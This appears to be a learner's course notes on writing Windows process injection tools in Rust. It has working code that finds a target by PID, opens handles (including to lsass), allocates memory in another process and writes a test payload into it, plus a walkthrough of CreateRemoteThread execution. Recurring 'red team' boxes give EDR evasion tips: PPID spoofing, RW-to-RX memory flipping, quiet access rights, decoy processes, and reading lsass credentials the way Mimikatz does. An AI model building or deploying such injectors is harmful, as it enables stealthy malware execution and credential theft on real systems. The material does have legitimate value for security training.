First program: list every running process on the machine — exactly what Task Manager does. We use the Toolhelp32 API, which takes a snapshot of the system and lets you walk through it.
Read the whole thing first, then we'll go line by line.
usewindows::Win32::Foundation::CloseHandle;usewindows::Win32::System::Diagnostics::ToolHelp::{CreateToolhelp32Snapshot,Process32First,Process32Next,PROCESSENTRY32,TH32CS_SNAPPROCESS,};fnmain(){println!("{:<8}{}","PID","NAME");println!("{}","-".repeat(40));unsafe{// 1. Take a snapshot of all processes right nowletsnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0).expect("Failed to create snapshot");// 2. Create an empty PROCESSENTRY32 struct to hold each result// dwSize MUST be set to the size of the struct — Windows requires itletmutentry=PROCESSENTRY32::default();entry.dwSize =std::mem::size_of::<PROCESSENTRY32>()asu32;// 3. Get the FIRST process in the snapshotifProcess32First(snapshot,&mutentry).is_ok(){// 4. Loop: keep getting the NEXT process until there are noneloop{// entry.szExeFile is the process name as raw bytes [i8; 260]// We convert it to a Rust String for printingletname=entry.szExeFile.iter().take_while(|&&c|c!=0)// stop at null terminator.map(|&c|casu8aschar).collect::<String>();println!("{:<8}{}",entry.th32ProcessID,name);// Move to next process; break if no moreifProcess32Next(snapshot,&mutentry).is_err(){break;}}}// 5. Always close handles when done — resource leak otherwiselet_=CloseHandle(snapshot);}}
entry.dwSize — don't forget this. It's a quirk of old Windows APIs. Before you pass a struct to Windows, you must set its dwSize field to the struct's size in bytes. Windows uses this to know which version of the struct you're using. If you forget → crash.
New Rust thing: structs. A struct is just a named group of variables. PROCESSENTRY32 is a struct with fields like th32ProcessID and szExeFile. You access them with a dot: entry.th32ProcessID. That's all you need to know for now.
🔴 RED TEAM — WHY THIS MATTERS
▸This is exactly how injection tools find their target. Before injecting into explorer.exe, they enumerate processes to find explorer.exe's PID — using this exact API.
▸th32ParentProcessID (PPID) is how you do PPID spoofing — make your malware appear to be a child of explorer.exe instead of cmd.exe, fooling process-tree-based detections.
▸CloseHandle at the end is critical. Handle leaks are detectable. A process with thousands of open handles is suspicious — EDRs flag it.
▸This code runs with NO special privileges. Any user can snapshot processes. The sensitive part comes next: opening a handle TO a specific process.
Open a Handle to a Process
Listing processes is read-only. Now we go further: open a real handle to a process and read information from it. This is Step 1 of process injection.
We'll combine both skills: first enumerate to find a PID by name, then open a handle to that process.
New Rust: Option<T>. A function that might not return a value returns Option. It's either Some(value) if it found something, or None if it didn't. The match statement handles both cases — like an if/else but for values. No null pointer crashes possible — Rust won't let you ignore None.
New Rust: functions.fn find_pid(target_name: &str) -> Option<u32> means: "a function named find_pid that takes a string reference and returns an Option containing a u32 (unsigned 32-bit integer = a PID)." The last expression without a semicolon is the return value.
for lsass:
🔴 RED TEAM — WHY THIS MATTERS
▸This find_pid() function is the real first step of every injector. Copy it — you'll reuse it in every tool you write in Phase 2.
▸PROCESS_VM_READ is the right that lets you call ReadProcessMemory — the function Mimikatz uses to suck credentials out of lsass. You now have that handle. Reading the memory is one more function call away.
▸Requesting PROCESS_ALL_ACCESS on lsass = immediate EDR alert. Requesting only PROCESS_QUERY_LIMITED = much quieter. Access right minimization is a real evasion technique.
▸The Err(e) branch for lsass.exe is exactly the wall you'll break through in Phase 2 via privilege escalation — getting SeDebugPrivilege lets OpenProcess succeed on protected processes.
Summary
what next:
rust concepts:
You are two lessons away from writing a working process injector in Rust. The only things between you and that are: virtual memory allocation (VirtualAllocEx) and writing memory (WriteProcessMemory). Both follow the exact same pattern you just learned.
HW
🔴 RED TEAM — WHY THIS MATTERS
▸The homework exercises #3 and #4 are real skills: enumerating all instances of a process, and probing which processes your current privilege level can access.
▸Printing parent PIDs (exercise 2) is how you'd detect PPID spoofing — if cmd.exe claims its parent is explorer.exe but was launched from a Word macro, something is wrong.
▸Every tool you'll build in Phase 2 starts with find_pid(). Get comfortable with it — it's the foundation.
1:
we added these lnes:
2:
we updated the function to store and return the vector filled with pid
Virtual Memory
Last lesson you built find_pid() and open_and_inspect(). You can find any process by name and hold a live handle to it. That's Step 1 of injection done.
Here's the full injection chain. You've done the first box. This lesson covers the next two.
By the end of this lesson you will have written bytes into another process's memory from Rust. That is the core primitive of every injection technique — everything else is a variation on this.
VirtualAllocEx — Carving Space
Every process has its own private virtual address space. Your process cannot just write into another process's memory — there's no shared pointer between them. You first need to ask Windows to create a new empty region inside the target, then get back the address of that region. That's what VirtualAllocEx does.
[Q] So if there's a shared pointer b/w them can we write to another process in it's memory?
The function signature — what you hand to it:
NOTE:
Why PAGE_READWRITE and not PAGE_EXECUTE_READWRITE? Allocating RWX memory is the loudest possible signal to EDR tools — it's flagged immediately. The stealthy approach: allocate RW, write the shellcode, then flip to RX with VirtualProtectEx. You'll learn that in Phase 3. For now we use RW to understand the mechanism first.
VirtualAlloc vs VirtualAllocEx. Without the "Ex", VirtualAlloc allocates in your own process. The "Ex" means "Extended" — it takes a process handle so you can allocate in any process you have a handle to.
🔴 RED TEAM — WHY THIS MATTERS
▸The address VirtualAllocEx returns is your write target. You hand it directly to WriteProcessMemory in the next step — it's the bridge between both calls.
▸PAGE_READWRITE → VirtualProtectEx(PAGE_EXECUTE_READ) is called the RW→RX technique. It splits the 'write' and 'execute' permissions across time, defeating many static detections.
▸MEM_COMMIT | MEM_RESERVE together is the standard combo. MEM_RESERVE alone just reserves the address range without backing it — a trick used to create large fake memory gaps that confuse heap scanners.
WriteProcessMemory — Filling the Space
You have a handle. You have an address inside the target. Now WriteProcessMemory is the function that actually copies bytes from your process into that address. It crosses the process boundary — your bytes land in their memory.
Think of it exactly like memcpy — but across a process boundary. Windows handles the page table translation internally. You just say: "copy these bytes to that address in that process."
🔑The handle needs two rights for this to work:PROCESS_VM_WRITE (to write) AND PROCESS_VM_OPERATION (to operate on the virtual memory). Both are required. If you open with only VM_WRITE, the call fails. Update your OpenProcess rights.
[IDEA] [Q] See if the process that copies the bytes to another becomes suspicious , EDR catches it , what if we make a kamikaze process which is meant to die , which spawns another process which copies the memory which is legitimate so EDR won't it , masking our payloads. Better: We make the process sleep also , or let it do some random maths functionality which can take its eyes off from EDR. But what about pattern based detections: PDR which kaspersky is notoriously uses: Process Dynamic detections which say if virtualalloc -> virtualprotect -> rw / rx -> execute = red flag
🔴 RED TEAM — WHY THIS MATTERS
▸WriteProcessMemory is one of the most watched Win32 calls. EDRs log: which process called it, what was the source, and what was the destination address. That's why advanced techniques avoid it entirely using mapped views (NtMapViewOfSection) — same result, no WriteProcessMemory call.
▸The 0x90 bytes (NOP instructions) you'll write are not random — a NOP sled gives shellcode a soft landing. If execution lands anywhere in the NOP sled, it slides down to the real payload.
▸0xCC is INT3 — a software breakpoint. When the CPU hits it, it pauses execution and raises an exception. Writing 0xCC as a payload is safe for testing — nothing harmful happens, but you'll see the crash in the target process confirming your bytes executed.
Rust Concepts: Raw Pointers
One new Rust concept before the code. Both VirtualAllocEx and WriteProcessMemory deal in raw pointers — memory addresses as plain numbers. Rust has them, but keeps them inside unsafe because it can't guarantee they're valid.
🦀 RUST — RAW POINTERS — MUT T AND CONST T
Rust has two kinds of raw pointer: const T → read-only pointer to type T (like C's const T) mut T → read-write pointer to type T (like C's T) You get them with 'as *mut T' casts, or from Windows API return values.
The key insight: raw pointers are just numbers (memory addresses). 'as mut c_void' just tells the compiler "treat this number as a void pointer". c_void = C's void type = "I don't care what type is at this address". Windows APIs use void everywhere because they were designed in C.
🦀 RUST — OPTION AND NULL POINTERS
VirtualAllocEx returns Option<*mut c_void>. Some(ptr) = allocation succeeded, ptr is the address None = allocation failed (not enough memory, access denied, etc.) You unwrap it with match or .expect() — same as you did above.
Program :
Toml File:
🦀New Rust: the | operator on flags. Windows access rights are bit flags — each right is a single bit in a number. PROCESS_VM_WRITE | PROCESS_VM_OPERATION uses bitwise OR to combine them into one number. The windows crate defines each constant as a struct that implements the | operator, so it looks and works exactly like C.
🔴 RED TEAM — WHY THIS MATTERS
▸You just did what every injector does for steps 1–3. The only difference in a real tool is the payload contains actual shellcode instead of NOPs + INT3.
▸remote_addr is the most important value in the whole program — it's the bridge. VirtualAllocEx gives it to you, WriteProcessMemory uses it, CreateRemoteThread (next lesson) executes from it.
▸VirtualFreeEx at the end is intentional cleanup. Real implants DON'T free — but they DO close the handle. An open handle to a target process sitting in your process's handle table is a forensic artifact.
▸Try running without Administrator — it will fail at OpenProcess. This is the exact wall SeDebugPrivilege breaks through.
Homework — 3 exercises:
CHANGE THE PAYLOAD SIZE
Allocate 1024 bytes (1KB) instead of 12.
Fill the whole Vec with 0x90 (NOP sled).
→ What changes in the output? What stays the same?
Hint: vec![0x90u8; 1024] ← fills 1024 bytes all with 0x90
VERIFY THE WRITE (reading back)
After WriteProcessMemory succeeds, use ReadProcessMemory
to read back from remote_addr and print those bytes.
Does what you read match what you wrote?
(You already have PROCESS_VM_READ in your rights — use it)
Signature to look up:
ReadProcessMemory(handle, remote_addr, buf_ptr, size, bytes_read)
UNDERSTAND THE FAILURE
Remove PROCESS_VM_OPERATION from the rights in OpenProcess.
Run again. What error does WriteProcessMemory give?
Why does removing one flag break everything?
(This teaches you exactly what each right does)
🔴 RED TEAM — WHY THIS MATTERS
▸Homework #2 (ReadProcessMemory) is actually a key forensics skill — blue teams verify suspicious memory regions exactly this way. You're learning both sides at once.
▸Homework #3 shows you that access rights are not optional extras — each one unlocks a specific kernel operation. Missing one = specific error code. Memorize which right does what.
▸The 1024-byte NOP sled in exercise #1 is a classic shellcode staging pattern. Real shellcode payloads are typically 200–500 bytes. A 4096-byte allocation is standard to give padding room.
HW:
Thread
You've put bytes into the target's memory. Right now they're just data — the CPU doesn't know they exist. A thread is what makes the CPU actually execute them.
Every thread has one job: execute instructions starting from a given address and keep going until it returns or is killed. CreateRemoteThread creates a new thread inside another process, starting at an address you specify. You specify remote_addr — the address VirtualAllocEx gave you. The thread wakes up, and your payload runs.
The crash from 0xCC (INT3) is expected and intentional. It proves execution reached your payload. In a real implant, the payload is shellcode that does something useful — opens a reverse shell, loads a DLL, etc. The mechanism is identical.
🔴 RED TEAM — WHY THIS MATTERS
▸CreateRemoteThread is the oldest injection technique (1996). It's so well known that every EDR flags it instantly on sensitive targets like explorer.exe or svchost.exe.
▸But it still works on less-monitored processes, and understanding it is required before learning the stealthier variants: QueueUserAPC, NtCreateThreadEx, Thread Hijacking. All of them do the same job — make foreign code run.
▸The INT3 crash you'll see IS the confirmation. In a CTF or engagement, seeing a target crash after injection means your shellcode landed and executed. Then you swap 0xCC for real shellcode.
Function:
The only tricky part is the start address. Windows expects a function pointer — specifically a LPTHREAD_START_ROUTINE. Your remote_addr is a *mut c_void. You cast it:
⚠️transmute is powerful and dangerous. It reinterprets raw bytes as any type you ask for — no checks. We use it here because there's no safe cast between *mut c_void and a function pointer. It's valid as long as remote_addr actually contains executable code at runtime.
One more thing: after you create the thread, you should call WaitForSingleObject(thread_handle, INFINITE)to wait for it to finish before cleaning up. Otherwise your process might free the memory while the thread is still running it — instant crash.
🔴 RED TEAM — WHY THIS MATTERS
▸LPTHREAD_START_ROUTINE is why shellcode must follow the Windows thread function calling convention — it's called like a function. Real shellcode starts with a proper prologue for this reason.
▸Creation flag 0x4 (CREATE_SUSPENDED) creates the thread paused. Used in more advanced techniques — create suspended, modify the thread context (registers), then resume. That's thread hijacking.
▸The thread handle returned by CreateRemoteThread is itself a forensic artifact. Real implants close it immediately after WaitForSingleObject returns.
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
│
└─► Takes a FROZEN photo of all processes at this moment
Returns a HANDLE to that snapshot
(TH32CS_SNAPPROCESS = "include processes in the snapshot")
PROCESSENTRY32
│
└─► A STRUCT (a bundle of variables) that Windows fills in for us
Fields inside it:
th32ProcessID → the PID (what you see in Task Manager)
szExeFile → the .exe name as raw bytes
cntThreads → how many threads the process has
th32ParentProcessID → PID of the process that launched it
Process32First / Process32Next
│
└─► Windows fills our PROCESSENTRY32 with the next process's data
Returns Ok() if there was a process, Err() when list is done
This is the "iterator" pattern for Windows snapshots
use windows::Win32::Foundation::CloseHandle;
use windows::Win32::System::Diagnostics::ToolHelp::{CreateToolhelp32Snapshot ,Process32First,Process32Next,PROCESSENTRY32,TH32CS_SNAPPROCESS};
use windows::Win32::System::Threading::{OpenProcess,QueryFullProcessImageNameA,PROCESS_QUERY_LIMITED_INFORMATION,PROCESS_VM_READ};
// find a pid by process name
// [@] What is this Option<u32>
fn find_pid(target_name: &str) -> Option<u32> {
unsafe {
// GET THE SNAPSHOT OF THE PROCESSES
let snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0).ok()?;
// MAKE A DATA STRUCT FOR THE WINDOWS WHAT THAT SIZE WHICH IT REQUIRES
let mut entry = PROCESSENTRY32::default();
entry.dwSize = std::mem::size_of::<PROCESSENTRY32>() as u32;
// get the first process
if Process32First(snapshot, &mut entry).is_ok() {
// if yes then loop through the whole processes till there are none
loop {
let name: String = entry.szExeFile.iter().take_while(|&&c| c!=0).map(|&c| c as u8 as char).collect();
// case insensitive compare:
if name.eq_ignore_ascii_case(target_name) {
println!("[+] Got the pid {:?} of the process: {} [+]",Some(entry.th32ProcessID),target_name);
return Some(entry.th32ProcessID);
}
if Process32Next(snapshot, &mut entry).is_err() {
break;
}
}
}
let _ = CloseHandle(snapshot);
None
}
}
// now we open the handle of the process:
fn open_and_inspect(pid: u32) {
unsafe {
let rights = PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ;
match OpenProcess(rights,false,pid) {
Ok(handle) => {
println!("[+] Got the handle of the process: {:?} with the pid: {} [+]",handle,pid);
let mut buf = [0u8;260];
let mut size = 260u32;
let pbuf = windows::core::PSTR::from_raw(buf.as_mut_ptr());
// [Q] what does this line do?
if QueryFullProcessImageNameA(handle, Default::default(),pbuf,&mut size ).is_ok() {
let path = std::str::from_utf8(&buf[..size as usize]).unwrap_or("?");
println!("Path: {}", path);
}
println!("Access Rights used: QUERY_LIMITED | VM_READ");
let _ = CloseHandle(handle);
println!("[+] Handle closed cleanly [+]");
}
Err(e) => {
println!("[-] OpenProcess failed with {:?} [-]", e);
println!("Maybe try running as Admin");
}
}
}
}
fn main() {
let target = std::env::args().nth(1).unwrap_or_else(|| "explorer.exe".to_string());
println!("Searching for: {}",target);
match find_pid(&target) {
Some(pid) => {
println!("[+] Found the pid of {}", pid);
open_and_inspect(pid);
}
None => {
println!("[-] Couldn't find the pid of {}", target);
}
}
}
What this program does, step by step:
1. Takes a process name from command line (e.g. "notepad.exe")
2. find_pid()
└─► Snapshots all processes
└─► Loops until it finds a matching name
└─► Returns the PID wrapped in Option<u32>
Some(pid) = found it
None = not found
3. open_and_inspect(pid)
└─► OpenProcess(PROCESS_QUERY_LIMITED | VM_READ, false, pid)
│
├── Ok(handle) = Windows gave us a ticket ✓
└── Err(e) = Access denied / invalid PID ✗
└─► QueryFullProcessImageNameA = "what .exe path is this PID?"
└─► CloseHandle = give the ticket back
Searching for: lsass.exe
[+] Got the pid Some(1856) of the process: lsass.exe [+]
[+] Found the pid of 1856
[-] OpenProcess failed with Error { code: HRESULT(0x80070005), message: "Access is denied." } [-]
Maybe try running as Admin
THE CHAIN YOU NOW UNDERSTAND:
Your Rust code
│
│ 1. CreateToolhelp32Snapshot() → freeze a list of processes
│ 2. Process32First/Next() → walk that list, find target PID
│ 3. OpenProcess(rights, pid) → get a HANDLE (ticket)
│ 4. [ do things with the handle ]
│ 5. CloseHandle() → return the ticket
│
▼
Windows API (kernel32.dll / ntdll.dll)
│
▼
Kernel (Ring 0) — actually does the work
WHAT COMES NEXT (Phase 2 preview):
Step 3 you did → OpenProcess(PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, pid)
│
▼
Step 4a → VirtualAllocEx(handle, ...) allocate memory in target
Step 4b → WriteProcessMemory(handle, ...) write shellcode into it
Step 4c → CreateRemoteThread(handle, ...) make target execute it
│
▼
PROCESS INJECTION ✓
use → bring names into scope (like import)
unsafe { } → "I take responsibility for this"
struct → a bundle of variables (PROCESSENTRY32, etc.)
Option<T> → Some(value) or None — safe "maybe" type
match → handle multiple cases (like switch but smarter)
fn name(arg: Type) -> ReturnType → function signature
1. Run both programs — make sure they compile and work
2. Modify the first program to also print:
- cntThreads (number of threads per process)
- th32ParentProcessID (who spawned each process)
3. Modify the second program to print ALL processes
that match a name (there can be multiple notepad.exe)
4. Try opening handles to different processes and see
which ones succeed vs fail — notice the pattern
let thread_count = entry.cntThreads;
let parent_pid = Some(entry.th32ParentProcessID);
use windows::Win32::Foundation::CloseHandle;
use windows::Win32::System::Diagnostics::ToolHelp::{CreateToolhelp32Snapshot, Process32First, Process32Next,PROCESSENTRY32,TH32CS_SNAPPROCESS};
fn main() {
println!("{:>8} {} {} {}","PID","NAME","Threads","ParentPID");
println!("{}","-".repeat(40));
unsafe {
// take the snapshot of the processes:
let snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0).expect("[-] CreateToolhelp32Snapshot failed [-]");
// create an empty PROCESSENTRY32 struct to hold each result
// dwSize must be set to the size of the struct - Windows requires it. let mut entry = PROCESSENTRY32::default();
entry.dwSize = std::mem::size_of::<PROCESSENTRY32>() as u32;
// get the first process in the snapshot:
if Process32First(snapshot, &mut entry).is_ok() {
// loop: keep getting the next process until there are none
loop {
let name = entry.szExeFile.iter().take_while(|&&c| c!=0).map(|&c| c as u8 as char).collect::<String>();
// HOMEWORK: 1
let thread_count = entry.cntThreads;
let parent_pid = Some(entry.th32ParentProcessID);
println!("{:<8} {} {} {}",entry.th32ProcessID,name,thread_count,parent_pid.unwrap());
// move to next process else break if no more.
if Process32Next(snapshot, &mut entry).is_err() {
break;
}
}
}
let _ = CloseHandle(snapshot);
}
}
use windows::Win32::Foundation::CloseHandle;
use windows::Win32::System::Diagnostics::ToolHelp::{CreateToolhelp32Snapshot ,Process32First,Process32Next,PROCESSENTRY32,TH32CS_SNAPPROCESS};
use windows::Win32::System::Threading::{OpenProcess,QueryFullProcessImageNameA,PROCESS_QUERY_LIMITED_INFORMATION,PROCESS_VM_READ};
// find a pid by process name
// [@] What is this Option<u32>
fn find_pid(target_name: &str) -> Vec<u32> {
let mut pids = Vec::new();
unsafe {
// GET THE SNAPSHOT OF THE PROCESSES
let snapshot = match CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) {
Ok(h) => h,
Err(_) => return pids,
};
// ? only works when the function returns Result or Option
// MAKE A DATA STRUCT FOR THE WINDOWS WHAT THAT SIZE WHICH IT REQUIRES
let mut entry = PROCESSENTRY32::default();
entry.dwSize = std::mem::size_of::<PROCESSENTRY32>() as u32;
// get the first process
if Process32First(snapshot, &mut entry).is_ok() {
// if yes then loop through the whole processes till there are none
loop {
let name: String = entry.szExeFile.iter().take_while(|&&c| c!=0).map(|&c| c as u8 as char).collect();
// case insensitive compare:
if name.eq_ignore_ascii_case(target_name) {
println!("[+] Got the pid {:?} of the process: {} [+]",entry.th32ProcessID,target_name);
// return Some(entry.th32ProcessID); // we change this line to push pid into the array
pids.push(entry.th32ProcessID);
}
if Process32Next(snapshot, &mut entry).is_err() {
break;
}
}
}
let _ = CloseHandle(snapshot);
pids
}
}
// now we open the handle of the process:
fn open_and_inspect(pid: u32) {
unsafe {
let rights = PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ;
match OpenProcess(rights,false,pid) {
Ok(handle) => {
println!("[+] Got the handle of the process: {} with the pid: {} [+]",handle,pid);
let mut buf = [0u8;260];
let mut size = 260u32;
let pbuf = windows::core::PSTR::from_raw(buf.as_mut_ptr());
// [Q] what does this line do?
if QueryFullProcessImageNameA(handle, Default::default(),pbuf,&mut size ).is_ok() {
let path = std::str::from_utf8(&buf[..size as usize]).unwrap_or("?");
println!("Path: {}", path);
}
println!("Access Rights used: QUERY_LIMITED | VM_READ");
let _ = CloseHandle(handle);
println!("[+] Handle closed cleanly [+]");
}
Err(e) => {
println!("[-] OpenProcess failed with {:?} [-]", e);
println!("Maybe try running as Admin");
}
}
}
}
fn main() {
let target = std::env::args().nth(1).unwrap_or_else(|| "explorer.exe".to_string());
println!("Searching for: {}",target);
let pids = find_pid(&target);
if pids.is_empty() {
println!("[-] No PID found");
}
else {
for pid in pids {
println!("[+] Found PID {}",pid);
open_and_inspect(pid);
}
}
}
CLASSIC SHELLCODE INJECTION — 4 STEPS
╔══════════════════════════════════╗
║ 1. OpenProcess() ║ ← YOU DID THIS ✓
║ get a handle to the target ║
╚══════════════════════════════════╝
│
▼
╔══════════════════════════════════╗
║ 2. VirtualAllocEx() ║ ← THIS LESSON
║ carve out empty space inside ║
║ the target's memory ║
╚══════════════════════════════════╝
│
▼
╔══════════════════════════════════╗
║ 3. WriteProcessMemory() ║ ← THIS LESSON
║ copy your shellcode into ║
║ that empty space ║
╚══════════════════════════════════╝
│
▼
╔══════════════════════════════════╗
║ 4. CreateRemoteThread() ║ ← LESSON 7
║ make the target execute it ║
╚══════════════════════════════════╝
BEFORE VirtualAllocEx:
notepad.exe address space
┌─────────────────────────────┐
│ .text (code) [r-x] │
│ .data (globals) [rw-] │
│ heap [rw-] │
│ stack [rw-] │
│ │
│ (no room for your stuff) │
└─────────────────────────────┘
AFTER VirtualAllocEx(handle, size=4096, MEM_COMMIT, PAGE_READWRITE):
notepad.exe address space
┌─────────────────────────────┐
│ .text (code) [r-x] │
│ .data (globals) [rw-] │
│ heap [rw-] │
│ stack [rw-] │
│ │
│ NEW REGION @ 0x???????? │ ← Windows carved this out
│ 4096 bytes, all zeros │ ← empty, waiting for your data
│ permissions: rw- │
└─────────────────────────────┘
│
└── VirtualAllocEx returns this address (0x????????)
You now know WHERE to write
VirtualAllocEx(
handle, // the OpenProcess handle from Lesson 5
None, // let Windows pick the address (None = "you choose")
size, // how many bytes to allocate
MEM_COMMIT // actually back it with physical memory now
| MEM_RESERVE, // also reserve the virtual address range
PAGE_READWRITE // permissions: readable + writable (NOT executable yet)
)
→ returns a raw pointer to the new region inside the target
YOUR PROCESS TARGET PROCESS (notepad.exe)
┌────────────────────┐ ┌─────────────────────────────┐
│ │ │ │
│ let payload = │ │ [ allocated region ] │
│ [0x90, 0x90, │ ──────► │ 90 90 90 90 CC CC CC CC │
│ 0x90, 0x90, │ bytes │ │
│ 0xCC, 0xCC, │ copied │ ↑ your bytes, now living │
│ 0xCC, 0xCC]; │ │ inside notepad's memory │
│ │ │ │
└────────────────────┘ └─────────────────────────────┘
│
│ WriteProcessMemory(
│ handle, ← ticket to notepad
│ remote_addr, ← address VirtualAllocEx gave us
│ payload.as_ptr() ← pointer to our bytes
│ payload.len() ← how many bytes to copy
│ None ← don't need bytes-written count
│ )
RIGHTS NEEDED PER OPERATION — quick reference
OpenProcess rights to request:
┌──────────────────────────────┬────────────────────────────────┐
│ Operation │ Rights needed │
├──────────────────────────────┼────────────────────────────────┤
│ Read process info/path │ PROCESS_QUERY_LIMITED_INFO │
│ Read target memory │ PROCESS_VM_READ │
│ Allocate in target │ PROCESS_VM_OPERATION │
│ Write to target memory │ PROCESS_VM_WRITE │
│ │ + PROCESS_VM_OPERATION │
│ Start thread in target │ PROCESS_CREATE_THREAD │
│ Full injection │ VM_OPERATION | VM_WRITE │
│ │ | CREATE_THREAD │
└──────────────────────────────┴────────────────────────────────┘
// You'll see these two patterns constantly in Win32 Rust:
// Pattern 1: cast your buffer to a raw pointer for API calls
let mut buf = [0u8; 64];
let ptr = buf.as_mut_ptr(); // *mut u8 — raw pointer to buf
let ptr_void = ptr as *mut std::ffi::c_void; // cast to void* (Windows loves void*)
// Pattern 2: VirtualAllocEx returns a *mut c_void (raw address)
// You store it and pass it to WriteProcessMemory
let remote_addr: *mut std::ffi::c_void = /* VirtualAllocEx result */
std::ptr::null_mut(); // null for now — real value comes from Windows
// Pattern 3: get a raw pointer to your payload bytes
let payload: Vec<u8> = vec![0x90, 0x90, 0xCC];
let payload_ptr = payload.as_ptr() as *const std::ffi::c_void;
// ^^^^^^^^
// cast [u8] pointer → void* for the API
// The return type of VirtualAllocEx in the windows crate:
// Result<*mut core::ffi::c_void> (Ok or Err)
match VirtualAllocEx(handle, None, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) {
Ok(remote_addr) => {
println!("Allocated at: {:?}", remote_addr);
// remote_addr is now a *mut c_void — the address inside the target
}
Err(e) => {
println!("Allocation failed: {:?}", e);
}
}
windows = { version = "0.62.2", features = ["Win32_Foundation","Win32_System_Diagnostics","Win32_System_Memory","Win32_System_Diagnostics_Debug","Win32_System","Win32_System_Threading","Win32_System_Diagnostics_ToolHelp"] }
use windows::Win32::Foundation::CloseHandle;
use windows::Win32::System::Diagnostics::ToolHelp::{CreateToolhelp32Snapshot ,Process32First,Process32Next,PROCESSENTRY32,TH32CS_SNAPPROCESS};
use windows::Win32::System::Threading::{OpenProcess,QueryFullProcessImageNameA,PROCESS_QUERY_LIMITED_INFORMATION,PROCESS_VM_READ,PROCESS_VM_OPERATION,PROCESS_VM_WRITE};
use windows::Win32::System::Memory::{VirtualAllocEx,VirtualFreeEx,MEM_COMMIT,MEM_RELEASE,MEM_RESERVE,PAGE_READWRITE};
use windows::Win32::System::Diagnostics::Debug::WriteProcessMemory;
fn find_pid(target_name: &str) -> Vec<u32> {
let mut pids = Vec::new();
unsafe {
let snapshot = match CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0) {
Ok(h) => h,
Err(_) => return pids,
};
let mut entry = PROCESSENTRY32::default();
entry.dwSize = std::mem::size_of::<PROCESSENTRY32>() as u32;
if Process32First(snapshot, &mut entry).is_ok() {
loop {
let name: String = entry.szExeFile.iter().take_while(|&&c| c!= 0).map(|&c| c as u8 as char).collect();
if name.eq_ignore_ascii_case(target_name) {
pids.push(entry.th32ProcessID);
}
if Process32Next(snapshot, &mut entry).is_err() {
break;
}
}
let _ = CloseHandle(snapshot);
}
}
pids
}
// flow :
// OpenProcess() with the rights -> VirtualAllocEx -> WriteProcessMemory -> VirtualFreeEx -> CloseHandle
fn write_into_process(pid: u32) {
let payload: Vec<u8> = vec![0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xCC,0xCC,0xCC,0xCC,];
unsafe {
// these rights we open the process with
let rights = PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION;
// get the handle to access the process or else how we allocate space
let handle = match OpenProcess(rights,false,pid) {
Ok(h) => h,
Err(_) => {
println!("[-] OpenProcess failed: [-]");
println!("Run as Admin");
return
},
};
println!("[+] Opened handle to PID: {} [+]",pid);
// allocate space
let remote_addr = VirtualAllocEx(handle,None,payload.len(),MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if remote_addr.is_null() {
println!("[-] VirtualAllocEx failed: [-]");
let _ = CloseHandle(handle);
return;
}
println!("[+] Allocated {} bytes at {:?} inside PID {}",payload.len(),remote_addr,pid);
// we allocated the memory now we write into it.
let mut bytes_written: usize = 0;
// these are the bytes written , stores this bytes written , returned by this WriteProcessMemory
match WriteProcessMemory(handle,remote_addr,payload.as_ptr() as *const _,payload.len(),Some(&mut bytes_written)) {
Ok(_) => {
println!("[+] Wrote {} bytes into PID {}", bytes_written, pid);
println!(" Payload @ {:?}", remote_addr);
println!(" Contents: {:02X?}", payload);
println!("[+] Your bytes are now INSIDE {}!", pid);
}
Err(_) => {
eprintln!("[-] Write ProcessMemory failed: {:?} [-]", remote_addr);
}
}
// cleanup
let _ = VirtualFreeEx(handle,remote_addr,0,MEM_RELEASE);
println!("[+] Freed remote address at {:?} inside PID {}",remote_addr,pid);
let _ = CloseHandle(handle);
println!("[+] Closed handle");
}
}
fn main() {
let target = std::env::args().nth(1).unwrap_or_else(|| "notepad.exe".to_string());
println!("[+] Target = {}", target);
let pids = find_pid(&target);
if pids.is_empty() {
println!("[-] Process not Found, Is it running? [-]");
return;
}
let pid = pids[0];
println!("[+] Found PID {}", pid);
write_into_process(pid);
}
[+] Target = notepad.exe
[+] Found PID 4672
[+] Opened handle to PID: 4672 [+]
[+] Allocated 12 bytes at 0x28fdee20000 inside PID 4672
[+] Wrote 12 bytes into PID 4672
Payload @ 0x28fdee20000
Contents: [90, 90, 90, 90, 90, 90, 90, 90, CC, CC, CC, CC]
[+] Your bytes are now INSIDE 4672!
[+] Freed remote address at 0x28fdee20000 inside PID 4672
[+] Closed handle
THE PAYLOAD
let payload: Vec<u8> = vec![
0x90, 0x90, 0x90, 0x90, // NOP — No Operation. CPU skips it.
0x90, 0x90, 0x90, 0x90, // 8 NOPs = a small NOP sled
0xCC, 0xCC, 0xCC, 0xCC, // INT3 — software breakpoint trap
];
Vec<u8> = a resizable list of bytes (u8 = 1 byte = 0x00 to 0xFF)
These are raw x86 instruction bytes — machine code
If the CPU ever executes these: slides through NOPs, then crashes on INT3
The crash PROVES your bytes reached the target and ran
STEP 1 — OpenProcess with write rights
let rights = PROCESS_VM_OPERATION
| PROCESS_VM_WRITE ← needed for WriteProcessMemory
| PROCESS_VM_READ ← useful for verifying the write
| PROCESS_QUERY_LIMITED_INFORMATION;
The | operator combines flags (bitwise OR)
Think of it as: "I want ALL of these rights bundled together"
Windows checks if your token is allowed to have them on this target
STEP 2 — VirtualAllocEx
VirtualAllocEx(
handle, ← WHO: the target process
None, ← WHERE: let Windows pick (safe default)
payload.len(), ← HOW MUCH: exactly as many bytes as our payload
MEM_COMMIT ← back it with physical memory right now
| MEM_RESERVE, ← also reserve the virtual address range
PAGE_READWRITE, ← rw- permissions (not executable)
)
→ Ok(remote_addr) : remote_addr is a *mut c_void
it's the address INSIDE THE TARGET
not in your process — in theirs
STEP 3 — WriteProcessMemory
WriteProcessMemory(
handle, ← target process handle
remote_addr, ← destination: the address we just allocated
payload.as_ptr() as *const _, ← source: raw pointer to our Vec's data
